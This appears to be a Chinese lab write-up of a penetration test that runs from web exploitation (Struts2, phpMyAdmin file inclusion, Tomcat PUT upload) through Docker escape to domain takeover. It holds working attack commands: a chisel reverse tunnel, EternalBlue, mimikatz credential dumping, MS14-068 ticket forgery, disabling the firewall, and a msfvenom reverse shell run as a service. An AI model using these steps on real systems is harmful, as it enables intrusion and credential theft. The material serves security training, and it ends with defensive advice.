记一次从外网到内网的渗透测试
字数 1983 2025-08-29 22:41:10
从外网到内网的渗透测试技术详解
环境概述
本次渗透测试环境涉及多种漏洞组合,包括:
- 反序列化漏洞
- 命令执行漏洞
- Tomcat漏洞
- MS系列漏洞
- 端口转发漏洞
- 域渗透技术
环境配置
机器密码:
- WEB主机(Ubuntu): ubuntu/ubuntu
- WIN7主机: douser/Dotest123
- WIN2008主机(DC): administrator/Test2008 (后改为Itchen123)
网络配置:
- 111网段为web网卡
- 183网段为内网
Web打点阶段
信息收集
端口扫描发现4个开放端口:
- 2001端口:Struts2框架文件上传接口
- 2002端口:Tomcat页面
- 2003端口:未授权访问的phpMyAdmin
Struts2-046漏洞利用
- 使用工具扫描发现存在S2-045和S2-046漏洞
- 确认S2-046漏洞可成功执行命令
phpMyAdmin后台getshell
- 确认版本为4.8.1,存在CVE-2018-12613远程文件包含漏洞
- 利用步骤:
- 执行SQL语句并获取当前页面cookie中的phpMyAdmin值
- 构造payload利用文件包含漏洞
- 写入一句话木马并通过文件包含漏洞读取
Tomcat文件上传漏洞(CVE-2017-12615)
- 确认版本为Apache Tomcat/8.5.19
- 利用步骤:
- 刷新页面并抓包
- 将GET请求改为PUT请求
- 上传jsp文件时使用双//绕过限制
- 上传冰蝎payload并连接成功
Docker逃逸技术
判断是否在Docker容器中
- 检查hostname(通常为一串数字)
- 执行
cat /proc/1/cgroup查看是否有docker字样 - 检查根目录下是否存在
.dockerenv文件
Privileged特权模式逃逸
-
判断是否为特权模式:
- 执行
cat /proc/self/status | grep CapEff - 特权模式掩码通常为
0000003fffffffff或0000001fffffffff
- 执行
-
逃逸步骤:
- 查看分区情况
fdisk -l,确认宿主机磁盘(通常为sda1) - 将宿主机磁盘挂载到容器中
- 写入计划任务反弹shell
- 在攻击机监听获取宿主机root权限
- 查看分区情况
内网渗透
信息收集
- 通过ifconfig发现183网段
- 使用msf进行路由转发
- 主机扫描发现三台内网主机:129、130、128
横向渗透
-
使用chisel建立socks代理:
- Kali开启服务端监听:
./chisel server -p 8080 --reverse - Ubuntu客户端连接:
./chisel client VPS_IP:8080 R:socks
- Kali开启服务端监听:
-
配置proxychains:
- 编辑
/etc/proxychains4.conf - 添加
socks5 127.0.0.1 1080
- 编辑
永恒之蓝漏洞利用
- 探测内网主机MS17-010漏洞
- 使用msf的
exploit/windows/smb/ms17_010_eternalblue模块攻击 - 成功拿下192.168.183.130主机
域渗透技术
信息收集
- 查看域内主机:
net group "domain computers" /domain - 获取域名:
ipconfig /all发现demo.com - 查看Administrators组成员:
net group "domain admins" /domain
Mimikatz提取密码
- 执行
mimikatz.exe - 输入命令:
privilege::debug sekurlsa::logonpasswords - 获取用户密码:douser/Dotest123
MS14-068域提权漏洞利用
漏洞条件:
- 普通域用户及密码
- 用户SID
- 域控IP
利用步骤:
-
使用MS14-068.exe伪造票据:
MS14-068.exe -u 域用户@域名 -s 用户SID -d 域控IP -p 用户密码 -
清除内存中的票据(使用mimikatz):
kerberos::purge -
注入高权限票据:
kerberos::ptc 票据文件 -
验证权限:
net use \\域控主机名\c$ dir \\域控主机名\c$
拿下域控
-
关闭域控防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall -
生成msf木马并上传:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe > shell.exe -
创建服务执行木马:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\shell.exe" sc \\WIN-ENS2VR5TR3N start bindshell -
开启远程桌面:
- 使用msf模块
post/windows/manage/enable_rdp - 或直接执行:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- 使用msf模块
技术总结
-
Web漏洞利用:
- Struts2反序列化漏洞
- phpMyAdmin文件包含漏洞
- Tomcat任意文件上传漏洞
-
Docker逃逸:
- 特权模式检测与利用
- 宿主机磁盘挂载技术
-
内网渗透:
- Chisel隧道技术
- 永恒之蓝漏洞利用
-
域渗透:
- Mimikatz密码提取
- MS14-068域提权
- 域控权限维持
-
遇到的问题:
- 通过代理的meterpreter会话不稳定
- 木马执行有时会报错
- 需要进一步研究稳定回传shell的方法
防御建议
- 及时更新中间件和框架补丁
- 限制Docker容器的特权模式
- 加强域内权限管理,及时安装安全补丁
- 启用防火墙并严格限制端口访问
- 对数据库管理界面实施强认证